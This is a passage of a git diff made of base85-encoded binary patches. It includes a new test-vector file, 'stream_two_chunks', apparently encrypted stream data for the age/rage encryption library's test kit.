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 REdTD$V#m&rv@<78Xw-4Ld*T29 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_two_chunks b/lib/rage/age/tests/testdata/testkit/stream_two_chunks new file mode 100644 index 0000000000000000000000000000000000000000..8e9936df83629341dae39ddf83e0f6612de1ad0b GIT binary patch literal 131507 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 